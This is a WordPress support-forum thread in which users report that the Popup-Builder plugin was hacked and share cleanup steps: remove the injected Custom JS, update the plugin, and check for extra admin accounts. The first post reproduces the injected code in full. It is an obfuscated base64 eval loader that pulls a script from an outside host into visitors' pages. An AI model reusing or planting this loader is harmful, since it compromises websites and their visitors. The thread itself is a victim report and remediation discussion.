    Hi,

    we got our Website locally blocked by the ESET Virus Scanner, saying it’s infected by a trojan (this is why i am not posting a link to it)! They hihglight a piece of code which comes from your Popup-Builder:

    <script defer id="sgpb-custom-script-2075" src="data:text/javascript;base64,alF1ZXJ5KGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigpe3NnQWRkRXZlbnQod2luZG93LCAic2dwYldpbGxPcGVuIiwgZnVuY3Rpb24oZSkge2lmIChlLmRldGFpbC5wb3B1cElkID09ICIyMDc1Iikge3ZhciBqamhmZ25qYy8qcmJobG9lbHgqLz0vKnJiaGxvZWx4Ki9ldmFsOy8qcmJobG9lbHgqL3ZhciB1Y3h0ZnUvKnJiaGxvZWx4Ki89LypyYmhsb2VseCovYXRvYjtqamhmZ25qYyh1Y3h0ZnUoImQiKy8qcmJobG9lbHgqLyJtRnkiKy8qcmJobG9lbHgqLyJJR1EiKy8qdXN3b2l1emxsdSovIjlaRzlqZCIrLypyYmhsb2VseCovIlcxbGJuUSIrLyp1c3dvaXV6bGx1Ki8iN2QiKy8qcmJobG9lbHgqLyJtRnkiKy8qcmJobG9lbHgqLyJJSE05WkM1IisvKnVzd29pdXpsbHUqLyJqY21WaGQiKy8qcmJobG9lbHgqLyJHVkZiR1Z0Wlc1IisvKnVzd29pdXpsbHUqLyIwIisvKnlva3lkcmh6Ki8iS0NKeiIrLyp5b2t5ZHJoeiovIlkzSnBjSFEiKy8qdXN3b2l1emxsdSovImlLVHR6IisvKnlva3lkcmh6Ki8iTG5OeSIrLypyYmhsb2VseCovIll6IisvKnlva3lkcmh6Ki8iMCIrLyp5b2t5ZHJoeiovIm5hSFIwIisvKnlva3lkcmh6Ki8iY0hNNkx5IisvKnJiaGxvZWx4Ki8iOXoiKy8qeW9reWRyaHoqLyJiMlowIisvKnlva3lkcmh6Ki8iTG5Od1pXTnBZV3hqY21GbWQiKy8qcmJobG9lbHgqLyJHSnZlQzUiKy8qdXN3b2l1emxsdSovImpiMjAiKy8qeW9reWRyaHoqLyJ2U2xwR1dXSkRKeiIrLyp5b2t5ZHJoeiovInRrTG1kIisvKnJiaGxvZWx4Ki8ibGQiKy8qcmJobG9lbHgqLyJFVnMiKy8qdXN3b2l1emxsdSovIlpXMWxiblJ6IisvKnlva3lkcmh6Ki8iUSIrLyp1c3dvaXV6bGx1Ki8ibmxVWVdkIisvKnJiaGxvZWx4Ki8iT1lXMWxLQ2QiKy8qcmJobG9lbHgqLyJvWldGa0p5IisvKnJiaGxvZWx4Ki8ibGJNRjAiKy8qeW9reWRyaHoqLyJ1WVhCd1pXNSIrLyp1c3dvaXV6bGx1Ki8ia1EiKy8qdXN3b2l1emxsdSovIjJocGJHUSIrLyp1c3dvaXV6bGx1Ki8ib2N5IisvKnJiaGxvZWx4Ki8iazciKSk7fTt9KTt9KTs="></script>

  • Hi @beatcore,
    my site’s popup was also hacked. Edit the popup and check whether javascript code has been injected in the “Custom JS or CSS” menu. Update the plugin to the latest version. The bug in the plugin is described here:

    Hi pepe80!

    Thank you for your answer! I’ve already removed the bit in the Custom JS section and updated everything. They even injected the wp-blogheader.php with random code bits…

    Edit: Just saw it in another post, don’t forget to check for additional admin accounts which might be there after the hack!

    Too bad, the support doesn’t care much about this problem here in the forum…

    Here’s another link with some information about the hack:
